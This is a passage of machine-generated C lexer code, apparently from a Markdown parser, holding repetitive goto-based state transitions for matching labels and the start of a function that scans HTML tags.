<= '/') goto yy354; goto yy412; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy412; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy412; goto yy354; } } yy410: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy412; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy412; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy412; goto yy354; } } yy411: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy413; if (yych <= '/') goto yy354; goto yy414; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy414; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy414; goto yy354; } } yy412: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy414; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy414; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy414; goto yy354; } } yy413: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy415; if (yych <= '/') goto yy354; goto yy416; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy416; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy416; goto yy354; } } yy414: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy416; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy416; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy416; goto yy354; } } yy415: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy417; if (yych <= '/') goto yy354; goto yy418; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy418; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy418; goto yy354; } } yy416: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy418; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy418; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy418; goto yy354; } } yy417: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy419; if (yych <= '/') goto yy354; goto yy420; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy420; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy420; goto yy354; } } yy418: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy420; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy420; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy420; goto yy354; } } yy419: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy421; if (yych <= '/') goto yy354; goto yy422; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy422; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy422; goto yy354; } } yy420: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy422; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy422; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy422; goto yy354; } } yy421: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy423; if (yych <= '/') goto yy354; goto yy424; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy424; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy424; goto yy354; } } yy422: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy424; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy424; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy424; goto yy354; } } yy423: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy425; if (yych <= '/') goto yy354; goto yy426; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy426; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy426; goto yy354; } } yy424: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy426; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy426; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy426; goto yy354; } } yy425: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy427; if (yych <= '/') goto yy354; goto yy428; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy428; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy428; goto yy354; } } yy426: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy428; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy428; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy428; goto yy354; } } yy427: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy429; if (yych <= '/') goto yy354; goto yy430; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy430; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy430; goto yy354; } } yy428: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy430; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy430; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy430; goto yy354; } } yy429: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy431; if (yych <= '/') goto yy354; goto yy432; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy432; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy432; goto yy354; } } yy430: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy432; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy432; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy432; goto yy354; } } yy431: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy433; if (yych <= '/') goto yy354; goto yy434; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy434; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy434; goto yy354; } } yy432: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy434; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy434; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy434; goto yy354; } } yy433: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy435; if (yych <= '/') goto yy354; goto yy436; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy436; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy436; goto yy354; } } yy434: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy436; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy436; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy436; goto yy354; } } yy435: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy437; if (yych <= '/') goto yy354; goto yy438; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy438; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy438; goto yy354; } } yy436: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy438; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy438; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy438; goto yy354; } } yy437: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy439; if (yych <= '/') goto yy354; goto yy440; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy440; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy440; goto yy354; } } yy438: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy440; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy440; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy440; goto yy354; } } yy439: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy441; if (yych <= '/') goto yy354; goto yy442; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy442; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy442; goto yy354; } } yy440: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy442; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy442; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy442; goto yy354; } } yy441: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy443; if (yych <= '/') goto yy354; goto yy444; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy444; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy444; goto yy354; } } yy442: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy444; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy444; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy444; goto yy354; } } yy443: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy445; if (yych <= '/') goto yy354; goto yy446; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy446; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy446; goto yy354; } } yy444: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy446; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy446; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy446; goto yy354; } } yy445: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy447; if (yych <= '/') goto yy354; goto yy448; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy448; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy448; goto yy354; } } yy446: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy448; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy448; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy448; goto yy354; } } yy447: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy449; if (yych <= '/') goto yy354; goto yy450; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy450; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy450; goto yy354; } } yy448: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy450; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy450; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy450; goto yy354; } } yy449: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy451; if (yych <= '/') goto yy354; goto yy452; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy452; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy452; goto yy354; } } yy450: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy452; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy452; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy452; goto yy354; } } yy451: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy453; if (yych <= '/') goto yy354; goto yy454; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy454; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy454; goto yy354; } } yy452: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy454; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy454; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy454; goto yy354; } } yy453: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy455; if (yych <= '/') goto yy354; goto yy456; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy456; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy456; goto yy354; } } yy454: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy456; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy456; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy456; goto yy354; } } yy455: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy457; if (yych <= '/') goto yy354; goto yy458; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy458; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy458; goto yy354; } } yy456: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy458; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy458; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy458; goto yy354; } } yy457: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy459; if (yych <= '/') goto yy354; goto yy460; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy460; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy460; goto yy354; } } yy458: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy460; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy460; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy460; goto yy354; } } yy459: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy461; if (yych <= '/') goto yy354; goto yy462; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy462; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy462; goto yy354; } } yy460: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy462; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy462; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy462; goto yy354; } } yy461: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy463; if (yych <= '/') goto yy354; goto yy464; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy464; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy464; goto yy354; } } yy462: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy464; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy464; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy464; goto yy354; } } yy463: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy465; if (yych <= '/') goto yy354; goto yy466; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy466; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy466; goto yy354; } } yy464: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy466; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy466; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy466; goto yy354; } } yy465: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy467; if (yych <= '/') goto yy354; goto yy468; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy468; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy468; goto yy354; } } yy466: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy468; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy468; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy468; goto yy354; } } yy467: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy469; if (yych <= '/') goto yy354; goto yy470; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy470; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy470; goto yy354; } } yy468: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy470; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy470; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy470; goto yy354; } } yy469: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy471; if (yych <= '/') goto yy354; goto yy472; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy472; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy472; goto yy354; } } yy470: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy472; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy472; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy472; goto yy354; } } yy471: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy473; if (yych <= '/') goto yy354; goto yy474; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy474; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy474; goto yy354; } } yy472: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy474; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy474; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy474; goto yy354; } } yy473: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy475; if (yych <= '/') goto yy354; goto yy476; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy476; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy476; goto yy354; } } yy474: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy476; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy476; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy476; goto yy354; } } yy475: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy477; if (yych <= '/') goto yy354; goto yy478; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy478; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy478; goto yy354; } } yy476: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy478; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy478; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy478; goto yy354; } } yy477: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy479; if (yych <= '/') goto yy354; goto yy480; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy480; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy480; goto yy354; } } yy478: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy480; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy480; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy480; goto yy354; } } yy479: yych = *++p; if (yych <= '@') { if (yych <= '/') goto yy354; if (yych <= '9') goto yy481; goto yy354; } else { if (yych <= 'Z') goto yy481; if (yych <= '`') goto yy354; if (yych <= 'z') goto yy481; goto yy354; } yy480: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= '-') goto yy354; goto yy355; } else { if (yych <= '/') goto yy354; if (yych >= ':') goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; } else { if (yych <= '`') goto yy354; if (yych >= '{') goto yy354; } } yy481: yych = *++p; if (yych == '.') goto yy355; if (yych == '>') goto yy359; goto yy354; } } // Try to match an HTML tag after first <, returning num of chars matched. int _scan_html_tag(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; static const unsigned char yybm[] = { /* table 1 .. 8: 0 */ 0, 250, 250, 250, 250, 250, 250, 250, 250, 235, 235, 235, 235, 235, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 235, 250, 202, 250, 250, 250, 250, 170, 250, 250, 250, 250, 250, 246, 254, 250, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 250, 234, 234, 232, 250, 250, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 250, 250, 122, 250, 254, 234, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, /* table 9 .. 11: 256 */ 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 128, 128, 128, 128, 128, 0, 128, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 128, 128, 128, 128, 128, 128, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, }; yych = *p; if (yych <= '/') { if (yych <= ' ') { if (yych != '\n') goto yy485; } else { if (yych <= '!') goto yy486; if (yych <= '.') goto yy485; goto yy487; } } else { if (yych <= '@') { if (yych == '?') goto yy488; goto yy485; } else { if (yych <= 'Z') goto yy489; if (yych <= '`') goto yy485; if (yych <= 'z') goto yy489; goto yy485; } } yy484: { return 0; } yy485: ++p; goto yy484; yy486: yych = *(marker = ++p); if (yybm[256+yych] & 32) { goto yy492; } if (yych == '-') goto yy490; if (yych <= '@') goto yy484; if (yych <= '[') goto yy494; goto yy484; yy487: yych = *(marker = ++p); if (yych <= '@') goto yy484; if (yych <= 'Z') goto yy495; if (yych <= '`') goto yy484; if (yych <= 'z') goto yy495; goto yy484; yy488: yych = *(marker = ++p); if (yych <= 0x00) goto yy484; goto yy498; yy489: yych = *(marker = ++p); if (yych <= '9') { if (yych <= 0x1F) { if (yych <= 0x08) goto yy484; if (yych <= '\r') goto yy504; goto yy484; } else { if (yych <= ' ') goto yy504; if (yych <= '.') goto yy484; goto yy504; } } else { if (yych <= '@') { if (yych == '>') goto yy504; goto yy484; } else { if (yych <= 'Z') goto yy504; if (yych <= '`') goto yy484; if (yych <= 'z') goto yy504; goto yy484; } } yy490: yych = *++p; if (yych == '-') goto yy507; yy491: p = marker; goto yy484; yy492: yych = *++p; if (yybm[256+yych] & 32) { goto yy492; } if (yych <= 0x08) goto yy491; if (yych <= '\r') goto yy508; if (yych == ' ') goto yy508; goto yy491; yy494: yych = *++p; if (yych == 'C') goto yy510; if (yych == 'c') goto yy510; goto yy491; yy495: yych = *++p; if (yybm[256+yych] & 64) { goto yy495; } if (yych <= 0x1F) { if (yych <= 0x08) goto yy491; if (yych <= '\r') goto yy511; goto yy491; } else { if (yych <= ' ') goto yy511; if (yych == '>') goto yy505; goto yy491; } yy497: yych = *++p; yy498: if (yybm[256+yych] & 128) { goto yy497; } if (yych <= 0x00) goto yy491; yych = *++p; if (yych <= 0x00) goto yy491; if (yych == '>') goto yy505; goto yy497; yy500: yych = *++p; if (yybm[0+yych] & 1) { goto yy500; } if (yych <= '>') { if (yych <= '9') { if (yych != '/') goto yy491; } else { if (yych <= ':') goto yy513; if (yych <= '=') goto yy491; goto yy505; } } else { if (yych <= '^') { if (yych <= '@') goto yy491; if (yych <= 'Z') goto yy513; goto yy491; } else { if (yych == '`') goto yy491; if (yych <= 'z') goto yy513; goto yy491; } } yy502: yych = *++p; if (yych == '>') goto yy505; goto yy491; yy503: yych = *++p; yy504: if (yybm[0+yych] & 1) { goto yy500; } if (yych <= '>') { if (yych <= '/') { if (yych <= '.') goto yy491; goto yy502; } else { if (yych <= '9') goto yy503; if (yych <= '=') goto yy491; } } else { if (yych <= 'Z') { if (yych <= '@') goto yy491; goto yy503; } else { if (yych <= '`') goto yy491; if (yych <= 'z') goto yy503; goto yy491; } } yy505: ++p; { return (p - start); } yy507: yych = *++p; if (yych == '-') goto yy517; if (yych == '>') goto yy491; goto yy516; yy508: yych = *++p; if (yybm[0+yych] & 2) { goto yy508; } if (yych <= 0x00) goto yy491; goto yy505; yy510: yych 